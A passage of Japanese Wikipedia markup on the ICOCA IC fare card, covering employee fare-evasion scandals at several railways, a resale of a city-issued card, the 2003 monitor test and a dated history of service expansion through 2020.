: 2024年(令和6年)3月に[[伊予鉄バス#松山空港リムジンバス|松山空港リムジンバス]]に導入予定<ref name="JR西日本・伊予鉄"/><ref name="JR西日本・伊予鉄_2"/>{{Efn|name=伊予鉄IC}}。
== ICOCAを巡る出来事 ==
=== 職員によるICOCAを用いた不正行為 ===
; JR西日本
:JR西日本では、駅員59名と委託社員10名がICOCAで乗車した後、窓口の処理機で乗車記録を消去するという手段で[[不正乗車|無賃乗車]]([[キセル乗車|キセル]]に類似した行為)を繰り返したとする不祥事があり、その行為はサービスが開始された[[2003年]]11月から[[2004年]]8月まで行われていたとされる。不正利用の総額は104,630円に上った。このうち特に悪質と判断された駅員10名と委託社員5名の計15名は[[懲戒解雇]]となった。その後[[北新地駅]]勤務の駅員が、ICOCAの出入場記録を消去するなどして不正乗車を繰り返していたとして、[[2010年]][[6月7日]]付で懲戒解雇、[[瀬野駅]]勤務の駅員がICOCAの出場記録を消去し640円分の運賃の支払いを免れていたとして2010年[[8月27日]]付で懲戒解雇<ref>[http://sankei.jp.msn.com/affairs/crime/100607/crm1006071858014-n1.htm イコカカード62回不正使用 JR西社員を懲戒解雇]{{リンク切れ|date=2019年2月}} - [[産経新聞]] 2010年6月7日</ref>、[[三国ヶ丘駅]]勤務の[[JR西日本交通サービス|委託会社]]社員が2009年6月から2010年11月にかけて計9回、合計22,840円分の運賃の支払いを免れていたとして[[2011年]][[1月4日]]付で懲戒解雇となった<ref>[http://www.westjr.co.jp/news/newslist/article/1175132_799.html グループ会社社員によるIC乗車券(ICOCA)の不正処理について]{{リンク切れ|date=2019年2月}} - 西日本旅客鉄道プレスリリース 2011年1月5日</ref>。また、[[吹田駅 (JR西日本)|吹田駅]]勤務の男性駅員が、拾得物のICOCAを無断で用いて[[神戸電鉄]]や[[神戸市営地下鉄]]などに乗車した上、下車の際に自動改札機を強行突破して無賃乗車して入場記録を消去し、また、拾得した別のICOCA3枚も払い戻しを受けていたことが判明しており、JR西日本はこの駅員の[[懲戒処分]]や[[告訴・告発|刑事告発]]を検討中である<ref>[http://www.yomiuri.co.jp/national/news/20120726-OYT1T01171.htm JR西の駅員、イコカ記録消去し私鉄無賃乗車]{{リンク切れ|date=2019年2月}} - 読売新聞 2012年7月26日</ref>。
; JR東海
:JR東海では、社員7人が三重県桑名市の[[桑名駅]]に通勤する際、ICOCAを使用して近鉄線で無賃乗車を繰り返していた。無賃乗車の期間は2008年8月 - 2010年2月で、社員7人はICOCAで近鉄線に乗り、桑名駅でJR東海線「職務乗車証」を使ってJR東海管理の改札口で下車するか、そのまま職場に出向いていた。当時の桑名駅は近鉄とJR東海の[[共同使用駅]]で、相互に改札業務を委託している関係にあった。7人はJR東海の窓口内にある処理機でICOCAの入場記録を消去して近鉄線運賃を支払わなかったが、JR東海が処理機を調査し不正が発覚した。JR東海は近鉄に謝罪し、全額を賠償している。不正回数は計258回、不正総額は103,300円、社員1人あたりの不正回数は最高108回、最低4回。7人をすでに社内で処分したとして、不正を公表していなかった<ref>[http://jr-central.co.jp/news/release/nws000507.html 定例社長会見(平成22年4月・名古屋)] - 東海旅客鉄道ニュースリリース 2010年4月22日</ref>。最終的に、この一連の不正乗車は社員85人が行っていたことが明らかになっている<ref>[http://sankei.jp.msn.com/affairs/crime/100609/crm1006091441020-n1.htm JR東海社員の不正乗車は85人に IC記録改竄]{{リンク切れ|date=2019年2月}} - 産経新聞 2010年6月9日</ref>。
; 近鉄
:近鉄では、2009年10月から2010年5月まで、ICOCAの乗車記録の消去などの不正行為が行われていることが発覚し、近鉄は「今回の事態を厳粛に受け止め、再発防止に取り組みたい」とコメントしている<ref>{{PDFlink|[http://www.kintetsu.jp/news/wfiles/owabi100604.pdf 【お詫び】当社社員による当社線の不正乗車等について]}}{{リンク切れ|date=2019年2月}} - 近畿日本鉄道プレスリリース 2010年6月14日</ref>。
; 神戸市交通局
:[[神戸市交通局]]では、[[神戸市営地下鉄海岸線|市営地下鉄海岸線]][[みなと元町駅]]の男性駅員が、ICOCAの入場記録を消去し2年8カ月間にわたって不正乗車していたことが判明し、同局は2010年[[7月2日]]に、この駅員を懲戒解雇の処分とし、また、[[兵庫県警察|兵庫県警]]に[[告訴・告発|刑事告発]]することになった<ref>[http://sankei.jp.msn.com/affairs/crime/100702/crm1007021956020-n1.htm IC乗車券操作し無賃乗車2年8カ月 神戸市営地下鉄の駅員、懲戒解雇]{{リンク切れ|date=2019年2月}} - 産経新聞 2010年7月2日</ref>。
; 阪急
:[[阪急電鉄]]では、[[阪急京都本線|京都線]]運輸課に所属していた女性駅係員が遺失物として届けられたICOCA・現金など66件計16万2152円分を着服していたと発表した。2017年11月12日、[[西院駅]]で落とし物の届け出があったICカードの情報を管理システムに登録。16日に落とし主が名乗り出たため照会したところ、情報が削除されていることが判明した。システムにアクセスした履歴を調べたところ、女性駅係員の関与が浮上し、データ削除と着服を認めた。2017年12月12日付で女性駅係員を懲戒解雇処分とした。社内調査に対し、女性社員は「飲食や化粧品に使った」と説明。同社は「あるまじき行為。お客さまにおわび申し上げる」とのコメントを出した。刑事告発については「全額を弁済し、反省もしている」として見送るという[http://www.hankyu-hanshin.co.jp/file_sys/news/5599.pdf]。なお着服したICOCAに定期券機能が付加されたものは無く、個人情報の流出はなかった。
=== 自治体配布のICOCAのインターネットオークションへの出品 ===
[[滋賀県]]の[[甲賀市]]が[[2017年]][[3月]]からJR西日本[[草津線]]の利用促進を目的に子育て世帯や生活困窮家庭などに対し無料配布したオリジナルデザインICOCAが[[インターネットオークション]]に出品され、1枚当たり6万円で落札されていたことが判明した。市では「配布の趣旨を逸脱した行為である」として、適切な利用を呼び掛けている<ref>[http://www.sankei.com/west/news/170411/wst1704110088-n1.html このデザインが6万円…市無料配布のイコカ競売に 滋賀・甲賀] 産経新聞 2017年4月11日</ref>。
===ICOCAモニターテスト ===
[[2003年]][[6月28日]]から[[7月26日]]まで京阪神の主要駅の一部でICOCAモニターテストが行われた。正式導入前であくまでもテストなので、1,000名限定の募集となった。
*モニターテストが行われた駅は大阪を中心としたJR西日本の京阪神22駅である。
**大阪駅
**塚口駅・猪名寺駅・伊丹駅・北伊丹駅・川西池田駅・中山寺駅・宝塚駅
**新大阪駅・東淀川駅・吹田駅・岸辺駅・千里丘駅・茨木駅・摂津富田駅・高槻駅
**塚本駅・尼崎駅・立花駅・甲子園口駅・西ノ宮駅(現在の西宮駅)・芦屋駅
== 歴史 ==
* [[2001年]]([[平成]]13年)
** [[5月15日]]:社長定例会見において、定期券やJスルーカードを2003年をめどにIC化を検討することを発表<ref name="20010515_JRW" />。
* [[2002年]](平成14年)
** [[12月18日]]:社長定例会見において、正式名称をICOCA(イコカ)とすることを発表<ref name="20021218_JRW" />。
* [[2003年]](平成15年)
** [[6月28日]] - [[7月26日]]:ICOCAモニターテスト実施。
** [[11月1日]]:[[アーバンネットワーク]]エリアの254駅<ref group="注釈">南海電気鉄道管理の[[りんくうタウン駅]]を含む。</ref>でICOCAのサービスが正式に開始<ref>[https://web.archive.org/web/20040803184954/www.westjr.co.jp/news/newslist/article/030820a.html 「ICOCA」いよいよデビュー! 〜 平成15年11月1日(土)よりサービス開始いたします 〜](インターネット・アーカイブ)- 西日本旅客鉄道プレスリリース 2003年8月30日</ref>。
* [[2004年]](平成16年)
** [[3月]]:発行枚数が100万枚を突破。二区間分割定期券のサービスを開始。
** [[8月1日]]:こどもICOCAサービス開始<ref>[https://web.archive.org/web/20040616130441/www.westjr.co.jp/news/newslist/article/k040519.html 2004年5月定例社長会見](インターネット・アーカイブ)- 西日本旅客鉄道プレスリリース 2003年5月19日</ref>、ICOCA・[[Suica]]相互利用開始<ref name="jrw_20030427" />。
* [[2005年]](平成17年)
**[[3月1日]]:[[桜井線]]全線へ利用可能エリアを拡大<ref>[https://web.archive.org/web/20050308124851/www.westjr.co.jp/news/newslist/article/041222a.html ICOCAをご利用いただけるエリアが桜井線へ広がります](インターネット・アーカイブ)- 西日本旅客鉄道プレスリリース 2004年12月22日</ref>。
** [[6月]]:発行枚数が200万枚を突破。
** [[10月1日]]:[[ICOCA電子マネー]]サービス開始<ref>[https://web.archive.org/web/20051124071054/www.westjr.co.jp/news/newslist/article/050824e.html ICOCAの新しいサービス「ICOCA電子マネー」サービス開始](インターネット・アーカイブ)- 西日本旅客鉄道プレスリリース 2005年8月24日</ref>。これによりICOCAでショッピングが可能に。
* [[2006年]](平成18年)
**[[1月21日]]:ICOCA・PiTaPa相互利用開始<ref>[https://web.archive.org/web/20051203034326/www.westjr.co.jp/news/newslist/article/051110a.html 「ICOCA」「PiTaPa」の相互利用を実施します](インターネット・アーカイブ)- 西日本旅客鉄道プレスリリース 2005年11月10日</ref>。
** [[1月28日]]:[[モバイルSuica]]サービス開始。Suicaとの相互利用によりICOCAエリアでも使用可能。
*** ただしICOCAエリアでは乗車券機能のみ利用可能で定期券機能は利用不可、電子マネー機能は当初利用不可。モバイルSuicaを利用するには[[おサイフケータイ]]対応の[[携帯電話]]機と「[[ビューカード]]」が必要だった。
** [[2月1日]]:[[SMART ICOCA]]発行開始、ICOCA・[[NicoPa]]片利用開始。
** 6月:[[ICOCA電子マネー]]の利用可能店舗が京阪神地区の駅のコンビニ「ハートイン」「デイリーイン」の全店で利用可能に。
** [[7月1日]]:[[南海電気鉄道]]がPiTaPaを導入。[[三国ヶ丘駅]]の乗り換え改札口、および[[りんくうタウン駅]]での簡易改札機を介しての相互乗換利用が可能になる。
** [[10月1日]]:ICOCA・[[Hareca]]片利用開始。
** [[10月21日]]:[[湖西線]]全駅と[[北陸線]]近江塩津以南へ利用可能エリアを拡大<ref>[https://web.archive.org/web/20070312074542/www.westjr.co.jp/news/newslist/article/060823e.html 北陸線・湖西線でICOCAエリアが広がります](インターネット・アーカイブ) - 西日本旅客鉄道プレスリリース 2006年8月23日</ref>。
* [[2007年]](平成19年)
** 2月1日:ICOCA電子マネーの新サービス「ICOCAコインロッカーサービス」開始。
** [[3月18日]]:こどもICOCA・こども用Suica相互利用開始。
** [[4月1日]]:ICOCA・[[CI-CA]]片利用開始。[[近畿日本鉄道]]がPiTaPaを導入。[[鶴橋駅]]の乗り換え改札口、および柏原駅での簡易改札機を介しての相互乗換利用が可能になる。
** [[7月]]:発行枚数が300万枚を突破。
** [[9月1日]]:岡山・広島地区の135駅へ利用可能エリアを拡大<ref>[https://web.archive.org/web/20070428195334/www.westjr.co.jp/news/newslist/article/060524b.html 岡山・広島エリアへICカード乗車券「ICOCA」を導入します](インターネット・アーカイブ)- 西日本旅客鉄道プレスリリース 2006年5月24日</ref>。ICOCA・[[LuLuCa]]片利用開始。
** [[10月16日]]:ビル入退館管理システムにおけるSuicaとの相互利用開始。
** [[12月10日]]:[[ファミリーマート]]JR[[南田辺駅]]前店にICOCA電子マネーを先行導入。
* [[2008年]](平成20年)
** 3月1日:ICOCA・[[PASPY]]片利用開始。
** [[3月18日]]:Suicaと電子マネーの相互利用開始。近畿地方、三重県の一部、岡山・広島・山口各地区にある[[イオン (企業)|イオン]]の商業施設の直営売り場でのICOCAへのチャージサービスを開始。
** [[3月29日]]:ICOCA・[[TOICA]]相互利用開始。
** [[4月1日]]:ICOCA・[[itappy]]片利用開始。
** [[10月]]:発行枚数が400万枚を突破。
* [[2009年]](平成21年)
** [[5月12日]]:関西2府4県および岡山・広島エリアの[[ファミリーマート]](当初は約520店・一部店舗を除く)でICOCA電子マネーを拡大導入。
** [[8月24日]]:JR西日本エリア内の[[ローソン]]全店舗でICOCA電子マネーを導入開始。
* [[2010年]](平成22年)
** [[3月13日]]:TOICAと電子マネー相互利用開始。
** [[5月8日]]:[[京阪本線]]とのICOCA連絡定期券を発売開始<ref name="jrw_press_20091215"/><ref>[http://www.westjr.co.jp/news/newslist/article/1174749_799.html ICOCA連絡定期券の発売開始について]{{リンク切れ|date=2019年2月}} - 西日本旅客鉄道プレスリリース 2010年3月17日</ref>。
** [[9月27日]]:滋賀県・京都府・兵庫県・大阪府・奈良県・和歌山県・岡山県の[[サークルKサンクス]]の全店舗、および広島県のサンクス各店(島嶼部の店舗を除く)でICOCA電子マネーを導入。
* [[2011年]](平成23年)
** [[3月5日]]:[[SUGOCA]]と相互利用を開始<ref>[http://www.westjr.co.jp/news/newslist/article/1174590_799.html ICOCAとSUGOCAの相互利用サービスを平成23年春に開始します]{{リンク切れ|date=2019年2月}} - 西日本旅客鉄道プレスリリース 2009年11月25日</ref>{{Efn|はやかけんエリアと連続する[[筑肥線]]は、この時点で相互利用の対象外。}}。
** [[3月18日]]:ICOCA電子マネーをJR西日本エリアの[[セブン-イレブン]]各店に導入<ref>[http://www.westjr.co.jp/news/newslist/article/1175240_799.html セブン‐イレブン全店で交通系電子マネーがご利用可能に!]{{リンク切れ|date=2019年2月}} - 西日本旅客鉄道プレスリリース 2011年3月9日</ref>。
** [[3月]]:発行枚数が600万枚を突破。
** [[4月1日]]:ICOCA・らんでんカード片利用開始。
** [[6月1日]]:京阪がICOCAおよびICOCA定期券を発売開始<ref name="keihan20110311"/>。
* [[2012年]](平成24年)
** [[2月1日]]:JR西日本・JR四国エリアの[[すかいらーく]]グループ各店でICOCA電子マネーを導入。
** [[2月7日]]:四国地区のローソン(約420店)でICOCA電子マネーを導入。
** [[3月17日]]:JR四国の[[高松駅 (香川県)|高松駅]](専用[[自動改札機]]を設置)と[[坂出駅]](専用簡易改札機を設置)の両駅で、ICOCAの利用が可能になった(導入費用はJR西日本が負担)<ref>[http://mytown.asahi.com/ehime/news.php?k_id=39000151108310004 2駅にICカード改札]{{リンク切れ|date=2019年2月}} - 朝日新聞 2011年8月31日</ref><ref>{{Cite web|和書|title=JR四国でのICOCAサービス開始日が決定!|url=https://web.archive.org/web/20140330055155/http://www.jr-shikoku.co.jp/03_news/press/14-01-27/01.htm|website=web.archive.org|date=2014-03-30|accessdate=2020-12-08}}</ref>。
** [[4月1日]]:ICOCA・[[hanica]]片利用開始。
** [[12月1日]]:近鉄がICOCAおよびICOCA定期券(自社内定期券および連絡定期券)を発売開始<ref name="kintetsu20110311"/>。
* [[2013年]](平成25年)
** [[3月1日]]:四国地区のセブンイレブン各店でICOCA電子マネーを導入。
** [[3月23日]]:
***交通系ICカード全国相互利用開始(10種類)
***近鉄 - JR東海の連絡定期券の発売開始。
** [[6月22日]]:[[SAPICA]]との交通利用のみ片利用開始。
** [[11月1日]]:大人用ICOCAカードのデザインをリニューアル<ref>[http://www.westjr.co.jp/press/article/2013/09/page_4483.html ICOCAカードデザインのリニューアルについて] - 西日本旅客鉄道プレスリリース 2013年9月20日</ref>。
* [[2014年]](平成26年)
**3月1日:JR四国の高松駅 - [[多度津駅]]間の各駅にもICOCAが導入。同時に四国内ICOCAエリアでのICOCA発売および払い戻し(定期券除く)、ICOCAとICOCAの相互利用カードのチャージの取り扱いも開始された<ref>[http://www.jr-shikoku.co.jp/03_news/press/14-01-27/01.htm JR四国でのICOCAサービス開始日が決定!]{{リンク切れ|date=2019年2月}} 四国旅客鉄道 ニュースリリース 2014年1月27日</ref>。
**3月14日:JR西日本 - 南海、近鉄 - 南海連絡定期券の発売開始。
**3月15日 - 台湾の非接触型IC乗車カード「[[一カー通]]」(I-Pass)の発行会社と業務提携についての意向書に調印した<ref>[https://web.archive.org/web/20140319082602/http://japan.cna.com.tw/news/aeco/201403150005.aspx 日台関連企業がMOU締結、台湾でのSuica使用も夢ではない?] - 中央社 2014年3月15日 </ref>。
**4月1日:近鉄志摩線 [[志摩赤崎駅]]でICOCAを含むICカードが利用可能になる。
**9月21日:近鉄 - 名鉄連絡定期券の発売開始。
**11月1日:JR西日本が、累計発行枚数が1,000万枚を突破したことを発表<ref name="release20141104"/>。
* [[2015年]](平成27年)
**3月1日:JR西日本 - 阪神、JR西日本 - 神戸新交通、京阪本線 - JR西日本 - 阪神、京阪本線 - JR西日本 - 南海連絡定期券の発売開始。
**3月14日:[[odeca]]との片利用開始。
**3月26日:あいの風とやま鉄道 [[石動駅]] - [[越中宮崎駅]]間の各駅にICOCA導入。
**6月24日:近鉄志摩線の[[上之郷駅]]、[[穴川駅 (三重県)|穴川駅]]、[[志摩横山駅]]、[[志摩神明駅]]でICOCAを含むICカードが利用可能になる<ref name="kintetsu20150603"/>。
**8月1日:近鉄志摩線 [[船津駅 (三重県鳥羽市)|船津駅]] - [[沓掛駅]]間の各駅と近鉄西信貴鋼索線 [[高安山駅]]でICOCAを含むICカードが利用可能になる。これにより近鉄は生駒鋼索線を除く全駅でICカードが使用可能になり、同線のICOCA定期券の発売が全駅で対応になる<ref name="kintetsu20150603"/>。
**8月30日:紀勢本線 和歌山駅 - [[海南駅]]間へ利用可能エリアを拡大<ref name="名前なし-1">[https://www.westjr.co.jp/press/article/2015/02/page_6835.html ICカード乗車券「ICOCA」のサービスを拡充します!「ICOCA発売額の多様化」「近畿圏ICOCAエリアの拡大」] - 西日本旅客鉄道プレスリリース 2015年2月23日</ref>。
**10月1日:自動券売機・のりこし精算機での「500円チャージ」およびのりこし精算機における「不足額チャージ」の取扱開始<ref name="release20150914"/>。
* [[2016年]](平成28年)
** 2月27日:あいの風とやま鉄道でICOCA定期券サービス開始。
** 3月16日 : 京阪 - [[叡電]]連絡定期券(京阪のみで発売、叡電では発売しない)の発売開始。
** 3月26日:[[姫新線]] 姫路駅 - [[播磨新宮駅]]間、[[播但線]] 姫路駅 - [[寺前駅]]間、[[加古川線]] 加古川駅 - [[西脇市駅]]間に利用可能エリアを拡大<ref name="名前なし-1"/>。[[icsca]]との交通利用のみ片利用開始。
** 12月17日:紀勢本線海南駅以南の特急くろしお停車駅([[箕島駅]]・[[藤並駅]]・[[湯浅駅]]・[[御坊駅]]・[[南部駅]]・[[紀伊田辺駅]]・[[白浜駅]]・[[周参見駅]]・[[串本駅]]・[[古座駅]]・[[太地駅]]・[[紀伊勝浦駅]]・[[新宮駅]])<ref name="20160809_JRW">[https://www.westjr.co.jp/press/article/2016/08/page_9077.html 和歌山県内の特急 「くろしお」号停車駅で、ICOCAがご利用できるようになります!] 西日本旅客鉄道 ニュースリリース 2016年8月9日</ref><ref name="20161018_9388_JRW">[http://www.westjr.co.jp/press/article/2016/10/page_9388.html 和歌山県内の特急「くろしお」号停車駅のICOCAご利用開始日が12月17日(土曜日)に決定!さらに「チケットレス特急券」も同日利用開始予定!] 西日本旅客鉄道 ニュースリリース 2016年10月18日</ref>、伯備線備中高梁駅以北の特急やくも停車駅([[新見駅]]・[[生山駅]]・[[根雨駅]])、[[山陰本線]][[伯耆大山駅]] - [[出雲市駅]]間<ref name="20160824_JRW">[https://www.westjr.co.jp/press/article/2016/08/page_9133.html 山陰線(出雲市~伯耆大山駅間)、伯備線(根雨駅、生山駅、新見駅)でICOCAがご利用できるようになります!] 西日本旅客鉄道 ニュースリリース 2016年8月24日</ref><ref name="20161018_9386_JRW">[http://www.westjr.co.jp/press/article/2016/10/page_9386.html 山陰線(出雲市~伯耆大山駅間)、伯備線(根雨駅、生山駅、新見駅)ICOCAご利用開始日・自動改札機ご利用開始日決定!] 西日本旅客鉄道 ニュースリリース 2016年10月18日</ref>で利用開始。
* [[2017年]](平成29年)
** [[3月4日]]:[[可部線]] [[可部駅]] - [[あき亀山駅]]間の延伸開業と同時に利用可能エリアを拡大<ref name="20161216_JRW">[https://www.westjr.co.jp/press/article/2016/12/page_9685.html 平成29年春ダイヤ改正について] 西日本旅客鉄道 ニュースリリース 2016年12月16日</ref>。
** [[3月18日]]:JR西日本 - [[京阪大津線]]、JR西日本 - 阪急、JR西日本 - 神鉄、JR西日本 - 山陽連絡定期券の発売開始<ref name="20170203_JRW"/>。
** 4月1日:大阪モノレールと京阪(大津線除く)・阪急・北急間の連絡定期券の発売開始<ref>{{PDFlink|[https://www.osaka-monorail.co.jp/monorailwp/wp-content/uploads/2017/02/hppress170203_2_.pdf 大阪モノレールにおけるICOCAによる連絡定期券の発売開始について]}}</ref>。
** 4月15日:北陸本線 大聖寺駅 - 金沢駅間、城端線 高岡駅 - 新高岡駅間、IRいしかわ鉄道線全線、あいの風とやま鉄道 倶利伽羅駅 - 石動駅間に利用可能エリアを拡大<ref name="20170131_JRW"/><ref>{{Cite press release|和書|url=http://ainokaze.co.jp/wp-content/uploads/2017/01/52ec997ad191bbbcc65a6d2c092765d6.pdf|archiveurl=https://web.archive.org/web/20190525201350/http://ainokaze.co.jp/wp-content/uploads/2017/01/52ec997ad191bbbcc65a6d2c092765d6.pdf|format=PDF|language=日本語|title=交通ICカード「ICOCA」の利用範囲拡大等について|publisher=あいの風とやま鉄道|date=2017-01-31|accessdate=2020-02-01|archivedate=2019-05-25}}</ref>。
** 3月25日以降順次南海、泉北、大阪市交通局、京都市交通局、神戸市交通局、山陽電車、神戸電鉄、大阪モノレール、神戸新交通、北神急行、山陽バスでICOCA(山陽バスを除く)およびICOCA定期券(神戸新交通を除く)の発売開始<ref>[http://www.westjr.co.jp/press/article/2015/11/page_7964.html ICカード乗車券を活用した連携サービスの拡大について] - 西日本旅客鉄道プレスリリース 2015年11月26日</ref><ref name="release20160330">[https://www.westjr.co.jp/press/article/2016/03/page_8573.html ICカード乗車券を活用した連携サービスの拡大について] - 西日本旅客鉄道プレスリリース 2016年3月30日</ref>。
** 4月1日:[[京阪バス]]グループ4社にてICOCAによるバスポイント制度を開始。
** 7月15日:紀勢本線 和歌山駅 - 和歌山市駅間に利用エリアを拡大し、南海とのICOCA連絡定期券(和歌山市駅接続)を発売開始<ref name="release20170410">{{Cite press release|和書|title=お待たせしました! 紀勢線(和歌山~和歌山市駅)でICカード乗車券が利用できるようになります!|publisher=西日本旅客鉄道|date=2017年4月10日|url=http://www.westjr.co.jp/press/article/2017/04/page_10293.html |accessdate=2017年4月15日}}</ref>。
** 9月30日:東海道・山陽新幹線でICOCAを含む交通系ICカードを用いたチケットレス乗車サービス「[[スマートEX]]」を開始<ref>{{Cite press release|和書|url=http://jr-central.co.jp/news/release/_pdf/000029289.pdf |title=東海道・山陽新幹線の新しいチケットレスサービスを導入します|format=PDF|publisher=JR東海・JR西日本|date=2016年1月28日|accessdate=2016年9月8日}}</ref><ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2017/08/page_11021.html |title=新幹線のネット予約がもっと気軽に!「スマートEX」サービス開始|date=2017年8月26日|accessdate=2017年8月26日}}</ref>。システム的には[[エクスプレス予約#EX-ICサービス|EX-ICサービス]]の「EX-ICカード」を交通系ICカードに置き換えたもので、新幹線区間の決済はあらかじめ登録したクレジットカードとなる。
* [[2018年]](平成30年)
** 3月3日:[[IruCa]]エリアでの片利用が可能となる<ref name="release20180122-1">{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2018/01/page_11744.html |title=IruCaエリアにおける交通系ICカードのご利用開始日について|publisher=西日本旅客鉄道・高松琴平電気鉄道|date=2018-01-22|accessdate=2018-01-22}}</ref>。
** 3月17日
*** [[草津線]]全線<ref name="release20171215">{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2017/12/page_11622.html |title=2018年春 草津線ICOCA利用可能エリア拡大日が決まりました|publisher=西日本旅客鉄道|date=2017-12-15|accessdate=2018-01-22}}</ref>および[[和歌山線]] [[高田駅 (奈良県)|高田駅]] - [[五条駅 (奈良県)|五条駅]]間に利用エリアを拡大<ref name="release20180122-2">{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2018/01/page_11739.html |title=2018年春 和歌山線ICOCA利用可能エリア拡大日が決まりました|publisher=西日本旅客鉄道|date=2018-01-22|accessdate=2018-01-22}}</ref>、[[西日本旅客鉄道京滋支社|京都支社]]管内の全駅に導入が完了。また、同日からICOCAの運用方法を変更し、一乗車につき原則「入場駅から出場駅までの最短経路で営業キロ200キロメートル以内」の利用に限定する<ref name="release20180122-3"/>。
*** JR西日本と京都市交通局、阪急電鉄と京都市交通局とのICOCA連絡定期の発売開始[http://www.city.kyoto.lg.jp/kotsu/page/0000231373.html][http://www.city.kyoto.lg.jp/kotsu/page/0000231393.html]。
*** [[PASPY]]エリアでの片利用がICOCA以外の全国相互利用対象ICカードに拡大となる<ref name="release20180227">{{Cite press release|和書|url = http://www.westjr.co.jp/press/article/2018/02/page_11941.html |title = PASPYエリアにおける全国相互利用ICカードのサービス開始について |publisher=公益社団法人広島県バス協会・広島電鉄株式会社・広島高速交通株式会社・西日本旅客鉄道株式会社 |date = 2018-02-27 |accessdate = 2018-02-27}}</ref>。
** 4月1日:[[大阪市高速電気軌道]](Osaka Metro)と私鉄各線とのICOCA連絡定期、ならびに大阪市高速電気軌道(Osaka Metro)と[[大阪シティバス]]とのICOCA連絡定期、大阪市高速電気軌道(Osaka Metro)・大阪シティバスICOCA共通全線定期券をそれぞれ発売開始<ref>{{Cite press release|和書|url=http://www.kotsu.city.osaka.lg.jp/general/eigyou/price/20180126_icrenrakuteikiken_tadentetsu.html|archiveurl=https://web.archive.org/web/20180126185024/http://www.kotsu.city.osaka.lg.jp/general/eigyou/price/20180126_icrenrakuteikiken_tadentetsu.html|language=日本語|title=ICカードによる連絡定期券の発売開始について|publisher=大阪市交通局|date=2018-01-26|accessdate=2021-01-23|archivedate=2018-01-26}}</ref><ref>{{Cite press release|和書|url=http://www.kotsu.city.osaka.lg.jp/general/eigyou/price/20180126_icrenrakuteikiken_2jigyou.html|archiveurl=https://web.archive.org/web/20180126184912/http://www.kotsu.city.osaka.lg.jp/general/eigyou/price/20180126_icrenrakuteikiken_2jigyou.html|language=日本語|title=地下鉄・バスIC連絡定期券等の発売開始について|publisher=大阪市交通局|date=2018-01-26|accessdate=2021-01-23|archivedate=2018-01-26}}</ref>。
** 9月15日:[[北陸本線]] [[近江塩津駅]] - [[大聖寺駅]]間・[[赤穂線]] [[播州赤穂駅]] - [[長船駅]]間・山陽本線 相生駅 - 和気駅間に利用エリアを拡大し、各エリアを一体化<ref name="release20171018"/><ref name="release20180530"/>。
** 10月1日:PiTaPaによるポストペイ利用<ref>{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2018/08/page_12844.html |title=JR西日本におけるPiTaPaポストペイサービス(後払い)のご利用開始日およびサービスの詳細について ~2018年10月1日より利用開始~ |publisher=西日本旅客鉄道 |date=2018-08-09 |accessdate=2019-02-10}}</ref>およびICOCAポイントサービス<ref name="release20180809"/>をそれぞれ開始。
*[[2019年]](平成31年)
** 3月1日:阪急電鉄・阪神電気鉄道・能勢電鉄・北大阪急行電鉄の4社でICOCAおよびICOCA定期券の発売を開始<ref name="release20180329">{{Cite press release|和書|url=https://www.hanshin.co.jp/company/press/pdf/20190124-icoca.pdf|archiveurl=https://web.archive.org/web/20210205030123/https://www.hanshin.co.jp/company/press/pdf/20190124-icoca.pdf|format=PDF|language=日本語|title=阪急、阪神、能勢、北急におけるICOCAおよびICOCA定期券の発売開始日について|publisher=阪急電鉄/阪神電気鉄道/能勢電鉄/北大阪急行電鉄/西日本旅客鉄道|date=2019-01-24|accessdate=2021-02-05|archivedate=2021-02-05}}</ref>。
** 3月16日:
*** 「車載型IC改札機」を導入することにより、[[境線]]に利用エリアを拡大<ref name="release20171018-02">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2017/10/page_11304.html |title=車載型IC改札機(JR西日本初)でICOCAエリア拡大!2019年春(予定)境線でICOCAがご利用いただけるようになります!|publisher=西日本旅客鉄道株式会社|date=2017-10-18|accessdate=2017-10-18}}</ref><ref name="release20181217">{{Cite press release|和書|url=https://www.westjr.co.jp/press/article/2018/12/page_13543.html |titleJR西日本初!車載型IC改札機ご利用開始日決定! ~境線でICOCAがご利用いただけるようになります~|publisher=西日本旅客鉄道|date=2018-12-17|accessdate=2018-12-18}}</ref>。
*** 宇野線 茶屋町駅 - 宇野駅間に利用エリアを拡大<ref name="release20190130">{{Cite press release|和書|url=http://www.westjr.co.jp/press/article/2019/01/page_13736.html|title=2019年3月16日から宇野みなと線でICOCAがご利用可能に!|publisher=西日本旅客鉄道|date=2019-01-30|accessdate=2019-02-03}}</ref>。
*[[2020年]](令和2年)
**3月14日:
***「車載型IC改札機」を導入することにより、[[和歌山線]] [[五条駅 (奈良県)|五条駅]] - 和歌山駅間に利用エリアを拡大<ref>{{Cite press release|和書|title=和歌山線・桜井線への新型車両導入と車載型IC改札機を使用したICOCAエリア拡大について|publisher=西日本旅客鉄道株式会社|date=2018-03-07|url=https://www.westjr.co.jp/press/article/2018/03/page_12012.html|accessdate=2018-03-07}}</ref><ref name="jrw191213">{{Cite press release|和書|title=2020年春ダイヤ改正について|publisher=西日本旅客鉄道和歌山支社|date=2019年12月13日|url=https://www.westjr.co.jp/press/article/items/191213_00_wakayama.pdf#page=3|accessdate=2020-3-14}}</ref>。
***[[紀勢本線]](きのくに線)海南駅 - 紀伊田辺駅間(導入済みの箕島駅・藤並駅・湯浅駅・御坊駅・南部駅を除く)に利用エリアを拡大<ref>{{Cite press release|和書|title=2020年春 皆さまの「暮らしがますます便利」になります! ~和歌山県内のICOCAエリアが大幅に拡大! 和歌山線に加え、きのくに線もICOCAエリアを拡大します~|publisher=西日本旅客鉄道|date=2019-08-29|url=https://www.westjr.co.jp/press/article/2019/08/page_14788.html|accessdate=2019-08-30}}</ref><ref name="jrw191213" />。
